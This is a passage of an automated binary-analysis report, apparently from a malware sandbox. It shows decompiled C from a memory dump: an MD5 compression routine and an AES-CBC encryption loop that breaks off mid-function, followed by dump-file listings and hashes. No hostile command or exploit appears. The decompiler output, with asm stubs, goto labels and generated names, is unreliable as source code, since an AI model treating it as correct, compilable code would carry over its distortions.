                                                                					_t366 = _t363 +  *_t45 - 0x2678e6d + ((_t261 ^ _t314) & _t214 ^ _t314) + _t214;
                                                                					_t51 = _t649 + 0x3c; // 0xe1810ce9
                                                                					asm("rol ecx, 0x11");
                                                                					_t317 = _t314 +  *_t48 - 0x5986bc72 + ((_t214 ^ _t261) & _t366 ^ _t261) + _t366;
                                                                					_t54 = _t649 + 4; // 0xe3e85651
                                                                					asm("rol ebx, 0x16");
                                                                					_t264 = _t261 +  *_t51 + 0x49b40821 + ((_t366 ^ _t214) & _t317 ^ _t214) + _t317;
                                                                					_t57 = _t649 + 0x18; // 0xc68b1cc4
                                                                					asm("rol eax, 0x5");
                                                                					_t217 = _t214 +  *_t54 - 0x9e1da9e + ((_t317 ^ _t264) & _t366 ^ _t317) + _t264;
                                                                					_t60 = _t649 + 0x2c; // 0x448bcccc
                                                                					asm("rol edx, 0x9");
                                                                					_t369 = _t366 +  *_t57 - 0x3fbf4cc0 + ((_t264 ^ _t217) & _t317 ^ _t264) + _t217;
                                                                					asm("rol ecx, 0xe");
                                                                					_t320 = _t317 +  *_t60 + 0x265e5a51 + ((_t217 ^ _t369) & _t264 ^ _t217) + _t369;
                                                                					_t65 = _t649 + 0x14; // 0x830000bf
                                                                					asm("rol ebx, 0x14");
                                                                					_t267 = _t264 +  *_t649 - 0x16493856 + ((_t369 ^ _t320) & _t217 ^ _t369) + _t320;
                                                                					_t68 = _t649 + 0x28; // 0xcccccccc
                                                                					asm("rol eax, 0x5");
                                                                					_t220 = _t217 +  *_t65 - 0x29d0efa3 + ((_t320 ^ _t267) & _t369 ^ _t320) + _t267;
                                                                					_t71 = _t649 + 0x3c; // 0xe1810ce9
                                                                					asm("rol edx, 0x9");
                                                                					_t372 = _t369 +  *_t68 + 0x2441453 + ((_t267 ^ _t220) & _t320 ^ _t267) + _t220;
                                                                					_t74 = _t649 + 0x10; // 0xc7e8525c
                                                                					asm("rol ecx, 0xe");
                                                                					_t323 = _t320 +  *_t71 - 0x275e197f + ((_t220 ^ _t372) & _t267 ^ _t220) + _t372;
                                                                					_t77 = _t649 + 0x24; // 0xcccccccc
                                                                					asm("rol ebx, 0x14");
                                                                					_t270 = _t267 +  *_t74 - 0x182c0438 + ((_t372 ^ _t323) & _t220 ^ _t372) + _t323;
                                                                					_t80 = _t649 + 0x38; // 0xc1c8330c
                                                                					asm("rol eax, 0x5");
                                                                					_t223 = _t220 +  *_t77 + 0x21e1cde6 + ((_t323 ^ _t270) & _t372 ^ _t323) + _t270;
                                                                					_t83 = _t649 + 0xc; // 0x6a182454
                                                                					asm("rol edx, 0x9");
                                                                					_t375 = _t372 +  *_t80 - 0x3cc8f82a + ((_t270 ^ _t223) & _t323 ^ _t270) + _t223;
                                                                					_t86 = _t649 + 0x20; // 0xccccccc3
                                                                					asm("rol ecx, 0xe");
                                                                					_t326 = _t323 +  *_t83 - 0xb2af279 + ((_t223 ^ _t375) & _t270 ^ _t223) + _t375;
                                                                					_t89 = _t649 + 0x34; // 0xe9c1c88b
                                                                					asm("rol ebx, 0x14");
                                                                					_t273 = _t270 +  *_t86 + 0x455a14ed + ((_t375 ^ _t326) & _t223 ^ _t375) + _t326;
                                                                					_t92 = _t649 + 8; // 0x8d0001c6
                                                                					asm("rol eax, 0x5");
                                                                					_t226 = _t223 +  *_t89 - 0x561c16fb + ((_t326 ^ _t273) & _t375 ^ _t326) + _t273;
                                                                					_t95 = _t649 + 0x1c; // 0x5cc4835e
                                                                					asm("rol edx, 0x9");
                                                                					_t378 = _t375 +  *_t92 - 0x3105c08 + ((_t273 ^ _t226) & _t326 ^ _t273) + _t226;
                                                                					_t98 = _t649 + 0x30; // 0x8b0424
                                                                					asm("rol ecx, 0xe");
                                                                					_t329 = _t326 +  *_t95 + 0x676f02d9 + ((_t226 ^ _t378) & _t273 ^ _t226) + _t378;
                                                                					_t101 = _t649 + 0x14; // 0x830000bf
                                                                					asm("rol ebx, 0x14");
                                                                					_t276 = _t273 +  *_t98 - 0x72d5b376 + ((_t378 ^ _t329) & _t226 ^ _t378) + _t329;
                                                                					_t104 = _t649 + 0x20; // 0xccccccc3
                                                                					asm("rol eax, 0x4");
                                                                					_t229 = _t226 +  *_t101 - 0x5c6be + (_t329 ^ _t378 ^ _t276) + _t276;
                                                                					_t107 = _t649 + 0x2c; // 0x448bcccc
                                                                					asm("rol edx, 0xb");
                                                                					_t381 = _t378 +  *_t104 - 0x788e097f + (_t276 ^ _t329 ^ _t229) + _t229;
                                                                					_t110 = _t649 + 0x38; // 0xc1c8330c
                                                                					asm("rol ecx, 0x10");
                                                                					_t332 = _t329 +  *_t107 + 0x6d9d6122 + (_t229 ^ _t276 ^ _t381) + _t381;
                                                                					_t113 = _t649 + 4; // 0xe3e85651
                                                                					asm("rol ebx, 0x17");
                                                                					_t279 = _t276 +  *_t110 - 0x21ac7f4 + (_t381 ^ _t229 ^ _t332) + _t332;
                                                                					_t116 = _t649 + 0x10; // 0xc7e8525c
                                                                					asm("rol eax, 0x4");
                                                                					_t232 = _t229 +  *_t113 - 0x5b4115bc + (_t332 ^ _t381 ^ _t279) + _t279;
                                                                					_t119 = _t649 + 0x1c; // 0x5cc4835e
                                                                					asm("rol edx, 0xb");
                                                                					_t384 = _t381 +  *_t116 + 0x4bdecfa9 + (_t279 ^ _t332 ^ _t232) + _t232;
                                                                					_t122 = _t649 + 0x28; // 0xcccccccc
                                                                					asm("rol ecx, 0x10");
                                                                					_t335 = _t332 +  *_t119 - 0x944b4a0 + (_t232 ^ _t279 ^ _t384) + _t384;
                                                                					_t125 = _t649 + 0x34; // 0xe9c1c88b
                                                                					asm("rol ebx, 0x17");
                                                                					_t282 = _t279 +  *_t122 - 0x41404390 + (_t384 ^ _t232 ^ _t335) + _t335;
                                                                					asm("rol eax, 0x4");
                                                                					_t235 = _t232 +  *_t125 + 0x289b7ec6 + (_t335 ^ _t384 ^ _t282) + _t282;
                                                                					_t130 = _t649 + 0xc; // 0x6a182454
                                                                					asm("rol edx, 0xb");
                                                                					_t387 = _t384 +  *_t649 - 0x155ed806 + (_t282 ^ _t335 ^ _t235) + _t235;
                                                                					_t133 = _t649 + 0x18; // 0xc68b1cc4
                                                                					asm("rol ecx, 0x10");
                                                                					_t338 = _t335 +  *_t130 - 0x2b10cf7b + (_t235 ^ _t282 ^ _t387) + _t387;
                                                                					_t136 = _t649 + 0x24; // 0xcccccccc
                                                                					asm("rol ebx, 0x17");
                                                                					_t285 = _t282 +  *_t133 + 0x4881d05 + (_t387 ^ _t235 ^ _t338) + _t338;
                                                                					_t139 = _t649 + 0x30; // 0x8b0424
                                                                					asm("rol eax, 0x4");
                                                                					_t238 = _t235 +  *_t136 - 0x262b2fc7 + (_t338 ^ _t387 ^ _t285) + _t285;
                                                                					_t142 = _t649 + 0x3c; // 0xe1810ce9
                                                                					asm("rol edx, 0xb");
                                                                					_t390 = _t387 +  *_t139 - 0x1924661b + (_t285 ^ _t338 ^ _t238) + _t238;
                                                                					_t145 = _t649 + 8; // 0x8d0001c6
                                                                					asm("rol ecx, 0x10");
                                                                					_t341 = _t338 +  *_t142 + 0x1fa27cf8 + (_t238 ^ _t285 ^ _t390) + _t390;
                                                                					asm("rol ebx, 0x17");
                                                                					_t288 = _t285 +  *_t145 - 0x3b53a99b + (_t390 ^ _t238 ^ _t341) + _t341;
                                                                					_t150 = _t649 + 0x1c; // 0x5cc4835e
                                                                					asm("rol eax, 0x6");
                                                                					_t241 = _t238 +  *_t649 - 0xbd6ddbc + ((0xffffffff ^ _t390 | _t288) ^ _t341) + _t288;
                                                                					_t153 = _t649 + 0x38; // 0xc1c8330c
                                                                					asm("rol edx, 0xa");
                                                                					_t393 = _t390 +  *_t150 + 0x432aff97 + ((0xffffffff ^ _t341 | _t241) ^ _t288) + _t241;
                                                                					_t156 = _t649 + 0x14; // 0x830000bf
                                                                					asm("rol ecx, 0xf");
                                                                					_t344 = _t341 +  *_t153 - 0x546bdc59 + ((0xffffffff ^ _t288 | _t393) ^ _t241) + _t393;
                                                                					_t159 = _t649 + 0x30; // 0x8b0424
                                                                					asm("rol ebx, 0x15");
                                                                					_t291 = _t288 +  *_t156 - 0x36c5fc7 + ((0xffffffff ^ _t241 | _t344) ^ _t393) + _t344;
                                                                					_t162 = _t649 + 0xc; // 0x6a182454
                                                                					asm("rol eax, 0x6");
                                                                					_t244 = _t241 +  *_t159 + 0x655b59c3 + ((0xffffffff ^ _t393 | _t291) ^ _t344) + _t291;
                                                                					_t165 = _t649 + 0x28; // 0xcccccccc
                                                                					asm("rol edx, 0xa");
                                                                					_t396 = _t393 +  *_t162 - 0x70f3336e + ((0xffffffff ^ _t344 | _t244) ^ _t291) + _t244;
                                                                					_t168 = _t649 + 4; // 0xe3e85651
                                                                					asm("rol ecx, 0xf");
                                                                					_t347 = _t344 +  *_t165 - 0x100b83 + ((0xffffffff ^ _t291 | _t396) ^ _t244) + _t396;
                                                                					_t171 = _t649 + 0x20; // 0xccccccc3
                                                                					asm("rol ebx, 0x15");
                                                                					_t294 = _t291 +  *_t168 - 0x7a7ba22f + ((0xffffffff ^ _t244 | _t347) ^ _t396) + _t347;
                                                                					_t174 = _t649 + 0x3c; // 0xe1810ce9
                                                                					asm("rol eax, 0x6");
                                                                					_t247 = _t244 +  *_t171 + 0x6fa87e4f + ((0xffffffff ^ _t396 | _t294) ^ _t347) + _t294;
                                                                					_t177 = _t649 + 0x18; // 0xc68b1cc4
                                                                					asm("rol edx, 0xa");
                                                                					_t399 = _t396 +  *_t174 - 0x1d31920 + ((0xffffffff ^ _t347 | _t247) ^ _t294) + _t247;
                                                                					_t180 = _t649 + 0x34; // 0xe9c1c88b
                                                                					asm("rol ecx, 0xf");
                                                                					_t350 = _t347 +  *_t177 - 0x5cfebcec + ((0xffffffff ^ _t294 | _t399) ^ _t247) + _t399;
                                                                					_t183 = _t649 + 0x10; // 0xc7e8525c
                                                                					asm("rol ebx, 0x15");
                                                                					_t297 = _t294 +  *_t180 + 0x4e0811a1 + ((0xffffffff ^ _t247 | _t350) ^ _t399) + _t350;
                                                                					_t186 = _t649 + 0x2c; // 0x448bcccc
                                                                					asm("rol eax, 0x6");
                                                                					_t250 = _t247 +  *_t183 - 0x8ac817e + ((0xffffffff ^ _t399 | _t297) ^ _t350) + _t297;
                                                                					_t189 = _t649 + 8; // 0x8d0001c6
                                                                					asm("rol edx, 0xa");
                                                                					_t402 = _t399 +  *_t186 - 0x42c50dcb + ((0xffffffff ^ _t350 | _t250) ^ _t297) + _t250;
                                                                					_t192 = _t649 + 0x24; // 0xcccccccc
                                                                					asm("rol ecx, 0xf");
                                                                					_t353 = _t350 +  *_t189 + 0x2ad7d2bb + ((0xffffffff ^ _t297 | _t402) ^ _t250) + _t402;
                                                                					_t714 =  *((intOrPtr*)(_t715 + 0x18));
                                                                					_t649 = _t649 + 0x40;
                                                                					asm("rol ebx, 0x15");
                                                                					_t202 = _t250 +  *_t714;
                                                                					_t252 = _t297 +  *_t192 - 0x14792c6f + ((0xffffffff ^ _t250 | _t353) ^ _t402) + _t353 +  *(_t714 + 4);
                                                                					_t305 = _t353 +  *(_t714 + 8);
                                                                					_t354 = _t402 +  *(_t714 + 0xc);
                                                                					 *_t714 = _t202;
                                                                					 *(_t714 + 4) = _t252;
                                                                					 *(_t714 + 8) = _t305;
                                                                					 *(_t714 + 0xc) = _t354;
                                                                				} while ( *_t715 >= _t649);
                                                                				_pop(_t251);
                                                                				return _t251;
                                                                			}











































































                                                                0x00aea802
                                                                0x00aea806
                                                                0x00aea818
                                                                0x00aea81a
                                                                0x00aea81b
                                                                0x00aea81e
                                                                0x00aea821
                                                                0x00aea824
                                                                0x00aea835
                                                                0x00aea83a
                                                                0x00aea83f
                                                                0x00aea84e
                                                                0x00aea853
                                                                0x00aea858
                                                                0x00aea867
                                                                0x00aea86c
                                                                0x00aea871
                                                                0x00aea880
                                                                0x00aea885
                                                                0x00aea88a
                                                                0x00aea899
                                                                0x00aea89e
                                                                0x00aea8a3
                                                                0x00aea8b2
                                                                0x00aea8b7
                                                                0x00aea8bc
                                                                0x00aea8cb
                                                                0x00aea8d0
                                                                0x00aea8d5
                                                                0x00aea8e4
                                                                0x00aea8e9
                                                                0x00aea8ee
                                                                0x00aea8fd
                                                                0x00aea902
                                                                0x00aea907
                                                                0x00aea916
                                                                0x00aea91b
                                                                0x00aea920
                                                                0x00aea92f
                                                                0x00aea934
                                                                0x00aea939
                                                                0x00aea948
                                                                0x00aea94d
                                                                0x00aea952
                                                                0x00aea961
                                                                0x00aea966
                                                                0x00aea96b
                                                                0x00aea97a
                                                                0x00aea97f
                                                                0x00aea984
                                                                0x00aea993
                                                                0x00aea998
                                                                0x00aea99d
                                                                0x00aea9ac
                                                                0x00aea9b1
                                                                0x00aea9b6
                                                                0x00aea9c5
                                                                0x00aea9cc
                                                                0x00aea9cf
                                                                0x00aea9de
                                                                0x00aea9e5
                                                                0x00aea9e8
                                                                0x00aea9fd
                                                                0x00aeaa00
                                                                0x00aeaa0f
                                                                0x00aeaa16
                                                                0x00aeaa19
                                                                0x00aeaa28
                                                                0x00aeaa2f
                                                                0x00aeaa32
                                                                0x00aeaa41
                                                                0x00aeaa48
                                                                0x00aeaa4b
                                                                0x00aeaa5a
                                                                0x00aeaa61
                                                                0x00aeaa64
                                                                0x00aeaa73
                                                                0x00aeaa7a
                                                                0x00aeaa7d
                                                                0x00aeaa8c
                                                                0x00aeaa93
                                                                0x00aeaa96
                                                                0x00aeaaa5
                                                                0x00aeaaac
                                                                0x00aeaaaf
                                                                0x00aeaabe
                                                                0x00aeaac5
                                                                0x00aeaac8
                                                                0x00aeaad7
                                                                0x00aeaade
                                                                0x00aeaae1
                                                                0x00aeaaf0
                                                                0x00aeaaf7
                                                                0x00aeaafa
                                                                0x00aeab09
                                                                0x00aeab10
                                                                0x00aeab13
                                                                0x00aeab22
                                                                0x00aeab29
                                                                0x00aeab2c
                                                                0x00aeab3b
                                                                0x00aeab42
                                                                0x00aeab45
                                                                0x00aeab54
                                                                0x00aeab57
                                                                0x00aeab5c
                                                                0x00aeab69
                                                                0x00aeab70
                                                                0x00aeab73
                                                                0x00aeab82
                                                                0x00aeab85
                                                                0x00aeab8a
                                                                0x00aeab97
                                                                0x00aeab9e
                                                                0x00aeaba1
                                                                0x00aeabb0
                                                                0x00aeabb3
                                                                0x00aeabb8
                                                                0x00aeabc5
                                                                0x00aeabcc
                                                                0x00aeabcf
                                                                0x00aeabde
                                                                0x00aeabe1
                                                                0x00aeabe6
                                                                0x00aeabf3
                                                                0x00aeabfa
                                                                0x00aeabfd
                                                                0x00aeac0e
                                                                0x00aeac13
                                                                0x00aeac20
                                                                0x00aeac27
                                                                0x00aeac2a
                                                                0x00aeac39
                                                                0x00aeac3c
                                                                0x00aeac41
                                                                0x00aeac4e
                                                                0x00aeac55
                                                                0x00aeac58
                                                                0x00aeac67
                                                                0x00aeac6a
                                                                0x00aeac6f
                                                                0x00aeac7c
                                                                0x00aeac83
                                                                0x00aeac86
                                                                0x00aeac95
                                                                0x00aeac98
                                                                0x00aeac9d
                                                                0x00aeacb3
                                                                0x00aeacb6
                                                                0x00aeacc5
                                                                0x00aeaccf
                                                                0x00aeacd4
                                                                0x00aeace1
                                                                0x00aeaceb
                                                                0x00aeacf0
                                                                0x00aeacfd
                                                                0x00aead07
                                                                0x00aead0c
                                                                0x00aead19
                                                                0x00aead23
                                                                0x00aead28
                                                                0x00aead35
                                                                0x00aead3f
                                                                0x00aead44
                                                                0x00aead51
                                                                0x00aead5b
                                                                0x00aead60
                                                                0x00aead6d
                                                                0x00aead77
                                                                0x00aead7c
                                                                0x00aead89
                                                                0x00aead93
                                                                0x00aead98
                                                                0x00aeada5
                                                                0x00aeadaf
                                                                0x00aeadb4
                                                                0x00aeadc1
                                                                0x00aeadcb
                                                                0x00aeadd0
                                                                0x00aeaddd
                                                                0x00aeade7
                                                                0x00aeadec
                                                                0x00aeadf9
                                                                0x00aeae03
                                                                0x00aeae08
                                                                0x00aeae15
                                                                0x00aeae1f
                                                                0x00aeae24
                                                                0x00aeae31
                                                                0x00aeae3b
                                                                0x00aeae40
                                                                0x00aeae4d
                                                                0x00aeae57
                                                                0x00aeae5c
                                                                0x00aeae69
                                                                0x00aeae6f
                                                                0x00aeae72
                                                                0x00aeae7a
                                                                0x00aeae7f
                                                                0x00aeae84
                                                                0x00aeae89
                                                                0x00aeae8b
                                                                0x00aeae8e
                                                                0x00aeae94
                                                                0x00aeae97
                                                                0x00aeae9a
                                                                0x00aeaea2
                                                                0x00aeaea7

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: d9e1dffb9c167f2a1bfd412aa57ca9546c7a865265bd6293c312d3add4af8ce4
                                                                • Instruction ID: 91b950179b3a5c1dfcd2c1a3168de378523f56e9b5a83357ec2d63ab0a92deb6
                                                                • Opcode Fuzzy Hash: d9e1dffb9c167f2a1bfd412aa57ca9546c7a865265bd6293c312d3add4af8ce4
                                                                • Instruction Fuzzy Hash: 372264735417044BE318CF2FCC81582B3E3AFD822475F857EC926CB696EEB9A61B4548
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 76%
                                                                			E00AC0E86(int __ecx) {
                                                                				void* _t249;
                                                                				signed int _t251;
                                                                				signed int _t252;
                                                                				void* _t254;
                                                                				signed int _t255;
                                                                				void* _t257;
                                                                				void* _t258;
                                                                				signed int _t261;
                                                                				void* _t264;
                                                                				signed int _t266;
                                                                				signed int _t271;
                                                                				void* _t273;
                                                                				signed int _t276;
                                                                				void* _t278;
                                                                				void* _t288;
                                                                				signed int _t289;
                                                                				signed int _t290;
                                                                				void* _t295;
                                                                				signed int _t300;
                                                                				signed int _t301;
                                                                				signed int _t305;
                                                                				signed int _t309;
                                                                				signed int _t311;
                                                                				signed int _t315;
                                                                				signed int _t318;
                                                                				int _t320;
                                                                				signed int _t321;
                                                                				signed int _t322;
                                                                				int _t328;
                                                                				int _t329;
                                                                				signed int _t334;
                                                                				signed int _t342;
                                                                				int _t346;
                                                                				signed int _t349;
                                                                				int _t352;
                                                                				signed int _t355;
                                                                				int _t357;
                                                                				void** _t361;
                                                                				signed int _t363;
                                                                				signed int _t364;
                                                                				void* _t367;
                                                                				signed int _t369;
                                                                				signed int _t372;
                                                                				signed int** _t376;
                                                                				signed int* _t377;
                                                                				signed int _t378;
                                                                				signed int _t381;
                                                                				signed int _t385;
                                                                				intOrPtr _t389;
                                                                				void* _t390;
                                                                				void* _t391;
                                                                				signed int* _t393;
                                                                				void* _t406;
                                                                				void* _t407;
                                                                				void* _t415;
                                                                				void* _t416;
                                                                				int _t419;
                                                                				void** _t420;
                                                                				signed int* _t421;
                                                                				void** _t423;
                                                                				void* _t424;
                                                                				signed int* _t428;
                                                                				signed int* _t429;
                                                                				void** _t431;
                                                                				void* _t433;
                                                                				void* _t438;
                                                                				void* _t440;
                                                                				void* _t441;
                                                                				int _t443;
                                                                				signed int* _t444;
                                                                				void* _t445;
                                                                				void* _t448;
                                                                				signed int* _t450;
                                                                				void* _t453;
                                                                				void* _t459;
                                                                				signed int _t465;
                                                                				signed int _t466;
                                                                				void* _t469;
                                                                				signed int* _t471;
                                                                				signed int* _t472;
                                                                				void** _t474;
                                                                				void** _t478;
                                                                				void** _t479;
                                                                				void** _t481;
                                                                				void* _t484;
                                                                				signed int _t485;
                                                                				void* _t493;
                                                                				intOrPtr _t496;
                                                                				void* _t498;
                                                                				void* _t508;
                                                                				signed int _t513;
                                                                
                                                                				_t320 = __ecx;
                                                                				_pop(_t484);
                                                                				_t2 = _t484 - 0x2346; // 0xa56363c6
                                                                				_t485 = _t2;
                                                                				if( *((intOrPtr*)(_t496 + 0x28)) == 0) {
                                                                					_t485 = _t485 + 0x1680;
                                                                				}
                                                                				asm("pushfd");
                                                                				asm("cld");
                                                                				if(_t320 < 0x200) {
                                                                					L30:
                                                                					_t389 =  *((intOrPtr*)(_t496 + 0x24));
                                                                					_t438 = (_t496 - 0x00000050 & 0xffffffc0) - ( ~(_t389 - 0x8f - (_t496 - 0x00000050 & 0xffffffc0)) & 0x000003c0);
                                                                					_t361 = _t496 + 0x18;
                                                                					_t498 = _t438 + 4;
                                                                					 *((intOrPtr*)(_t498 + 0x18)) = _t485 + (_t438 + 0x00000300 - _t485 & 0x00000300) + 0x880;
                                                                					 *((intOrPtr*)(_t498 + 0x1c)) = _t496;
                                                                					 *((intOrPtr*)(_t498 + 0x34)) =  *0xdec6d0;
                                                                					_t249 =  *_t361;
                                                                					_t288 = _t361[1];
                                                                					_t440 = _t361[4];
                                                                					 *(_t498 + 0x20) = _t249;
                                                                					 *(_t498 + 0x24) = _t288;
                                                                					 *(_t498 + 0x28) = _t320;
                                                                					 *((intOrPtr*)(_t498 + 0x2c)) = _t389;
                                                                					 *(_t498 + 0x30) = _t440;
                                                                					_t390 = _t440;
                                                                					_t441 = _t249;
                                                                					__eflags = _t361[5];
                                                                					if(__eflags == 0) {
                                                                						asm("bt dword [esp+0x34], 0x19");
                                                                						if(__eflags >= 0) {
                                                                							while(1) {
                                                                								_t289 =  *(_t441 + 4);
                                                                								_t321 =  *(_t441 + 8);
                                                                								_t363 =  *(_t441 + 0xc);
                                                                								_t391 = _t498 + 0x3c;
                                                                								 *_t391 =  *_t441;
                                                                								 *(_t391 + 4) = _t289;
                                                                								 *(_t391 + 8) = _t321;
                                                                								 *(_t391 + 0xc) = _t363;
                                                                								_t251 = E00ABF830( *_t441, _t289, _t321, _t363,  *((intOrPtr*)(_t498 + 0x2c)));
                                                                								_t393 =  *(_t498 + 0x30);
                                                                								_t252 = _t251 ^  *_t393;
                                                                								_t290 = _t289 ^ _t393[1];
                                                                								_t322 = _t321 ^ _t393[2];
                                                                								_t364 = _t363 ^ _t393[3];
                                                                								_t443 =  *(_t498 + 0x28) - 0x10;
                                                                								__eflags = _t443;
                                                                								if(__eflags < 0) {
                                                                									break;
                                                                								}
                                                                								 *(_t498 + 0x28) = _t443;
                                                                								_t448 =  *(_t498 + 0x24);
                                                                								 *_t448 = _t252;
                                                                								 *(_t448 + 4) = _t290;
                                                                								 *(_t448 + 8) = _t322;
                                                                								 *(_t448 + 0xc) = _t364;
                                                                								 *(_t498 + 0x24) = _t448 + 0x10;
                                                                								_t450 = _t498 + 0x3c;
                                                                								_t255 =  *_t450;
                                                                								 *_t393 = _t255;
                                                                								_t393[1] = _t450[1];
                                                                								_t393[2] = _t450[2];
                                                                								_t393[3] = _t450[3];
                                                                								_t441 =  *(_t498 + 0x20) + 0x10;
                                                                								 *(_t498 + 0x20) = _t441;
                                                                								if(__eflags != 0) {
                                                                									continue;
                                                                								} else {
                                                                									asm("popfd");
                                                                									return _t255;
                                                                								}
                                                                								goto L54;
                                                                							}
                                                                							_t444 = _t498 + 0x3c;
                                                                							 *_t444 = _t252;
                                                                							_t444[1] = _t290;
                                                                							_t444[2] = _t322;
                                                                							_t444[3] = _t364;
                                                                							_t445 =  *(_t498 + 0x20);
                                                                							 *_t393 =  *_t445;
                                                                							_t393[1] =  *(_t445 + 4);
                                                                							_t393[2] =  *(_t445 + 8);
                                                                							_t393[3] =  *(_t445 + 0xc);
                                                                							_t254 = memcpy( *(_t498 + 0x24), _t498 + 0x3c,  *(_t498 + 0x28));
                                                                							asm("popfd");
                                                                							return _t254;
                                                                						} else {
                                                                							while(1) {
                                                                								asm("movq mm0, [esi]");
                                                                								asm("movq mm4, [esi+0x8]");
                                                                								E00ABFCB0( *((intOrPtr*)(_t498 + 0x2c)));
                                                                								_t453 =  *(_t498 + 0x20);
                                                                								_t257 = _t498 + 0x3c;
                                                                								_t295 =  *(_t498 + 0x24);
                                                                								asm("movq mm1, [esi]");
                                                                								asm("movq mm5, [esi+0x8]");
                                                                								asm("pxor mm0, [edi]");
                                                                								asm("pxor mm4, [edi+0x8]");
                                                                								asm("movq [edi], mm1");
                                                                								asm("movq [edi+0x8], mm5");
                                                                								_t328 =  *(_t498 + 0x28) - 0x10;
                                                                								__eflags = _t328;
                                                                								if(__eflags < 0) {
                                                                									break;
                                                                								}
                                                                								asm("movq [ebx], mm0");
                                                                								asm("movq [ebx+0x8], mm4");
                                                                								 *(_t498 + 0x24) = _t295 + 0x10;
                                                                								 *(_t498 + 0x20) = _t453 + 0x10;
                                                                								 *(_t498 + 0x28) = _t328;
                                                                								if(__eflags != 0) {
                                                                									continue;
                                                                								} else {
                                                                									asm("emms");
                                                                									asm("popfd");
                                                                									return _t257;
                                                                								}
                                                                								goto L54;
                                                                							}
                                                                							asm("movq [eax], mm0");
                                                                							asm("movq [eax+0x8], mm4");
                                                                							asm("emms");
                                                                							_t329 = _t328 + 0x10;
                                                                							__eflags = _t329;
                                                                							_t258 = memcpy(_t295, _t257, _t329);
                                                                							asm("popfd");
                                                                							return _t258;
                                                                						}
                                                                					} else {
                                                                						__eflags = _t320 - 0x10;
                                                                						_t367 = _t288;
                                                                						if(__eflags < 0) {
                                                                							L41:
                                                                							asm("emms");
                                                                							_t406 = _t367;
                                                                							_t300 = 0x10 - _t320;
                                                                							__eflags = _t406 - _t441;
                                                                							if(_t406 == _t441) {
                                                                								_t407 = _t406 + _t320;
                                                                							} else {
                                                                								memcpy(_t406, _t441, _t320);
                                                                								_t498 = _t498 + 0xc;
                                                                								_t407 = _t441 + _t320 + _t320;
                                                                							}
                                                                							memset(_t407, 0, _t300 << 0);
                                                                							_t498 = _t498 + 0xc;
                                                                							_t390 =  *(_t498 + 0x30);
                                                                							_t441 = _t367;
                                                                							_t261 =  *_t390;
                                                                							_t301 =  *(_t390 + 4);
                                                                							 *(_t498 + 0x28) = 0x10;
                                                                							goto L38;
                                                                						} else {
                                                                							asm("bt dword [esp+0x34], 0x19");
                                                                							if(__eflags >= 0) {
                                                                								_t261 =  *_t390;
                                                                								_t301 =  *(_t390 + 4);
                                                                								do {
                                                                									L38:
                                                                									_t301 = _t301 ^  *(_t441 + 4);
                                                                									_t334 =  *(_t390 + 8) ^  *(_t441 + 8);
                                                                									_t369 =  *(_t390 + 0xc) ^  *(_t441 + 0xc);
                                                                									_t261 = E00ABE380(_t261 ^  *_t441, _t301, _t334, _t369,  *((intOrPtr*)(_t498 + 0x2c)));
                                                                									_t390 =  *(_t498 + 0x24);
                                                                									 *_t390 = _t261;
                                                                									 *(_t390 + 4) = _t301;
                                                                									 *(_t390 + 8) = _t334;
                                                                									 *(_t390 + 0xc) = _t369;
                                                                									_t441 =  *(_t498 + 0x20) + 0x10;
                                                                									 *(_t498 + 0x20) = _t441;
                                                                									_t367 = _t390 + 0x10;
                                                                									 *(_t498 + 0x24) = _t367;
                                                                									_t320 =  *(_t498 + 0x28) - 0x10;
                                                                									__eflags = _t320 - 0x10;
                                                                									 *(_t498 + 0x28) = _t320;
                                                                								} while (_t320 >= 0x10);
                                                                								__eflags = _t320 & 0x0000000f;
                                                                								if((_t320 & 0x0000000f) != 0) {
                                                                									goto L41;
                                                                								}
                                                                								_t459 =  *(_t498 + 0x30);
                                                                								 *_t459 = _t261;
                                                                								 *(_t459 + 4) = _t301;
                                                                								 *(_t459 + 8) =  *(_t390 + 8);
                                                                								 *(_t459 + 0xc) =  *(_t390 + 0xc);
                                                                								asm("popfd");
                                                                								return _t261;
                                                                							} else {
                                                                								asm("movq mm0, [edi]");
                                                                								asm("movq mm4, [edi+0x8]");
                                                                								0;
                                                                								0;
                                                                								do {
                                                                									asm("pxor mm0, [esi]");
                                                                									asm("pxor mm4, [esi+0x8]");
                                                                									_t264 = E00ABE6E0( *((intOrPtr*)(_t498 + 0x2c)));
                                                                									asm("movq [edi], mm0");
                                                                									asm("movq [edi+0x8], mm4");
                                                                									_t441 =  *(_t498 + 0x20) + 0x10;
                                                                									 *(_t498 + 0x20) = _t441;
                                                                									_t367 =  *(_t498 + 0x24) + 0x10;
                                                                									 *(_t498 + 0x24) = _t367;
                                                                									_t320 =  *(_t498 + 0x28) - 0x10;
                                                                									__eflags = _t320 - 0x10;
                                                                									 *(_t498 + 0x28) = _t320;
                                                                								} while (_t320 >= 0x10);
                                                                								__eflags = _t320 & 0x0000000f;
                                                                								if((_t320 & 0x0000000f) != 0) {
                                                                									goto L41;
                                                                								} else {
                                                                									asm("movq [esi], mm0");
                                                                									asm("movq [esi+0x8], mm4");
                                                                									asm("emms");
                                                                									asm("popfd");
                                                                									return _t264;
                                                                								}
                                                                							}
                                                                						}
                                                                					}
                                                                				} else {
                                                                					_t513 = _t320 & 0x0000000f;
                                                                					if(_t513 != 0) {
                                                                						goto L30;
                                                                					} else {
                                                                						asm("bt dword [eax], 0x1c");
                                                                						if(_t513 < 0) {
                                                                							goto L30;
                                                                						} else {
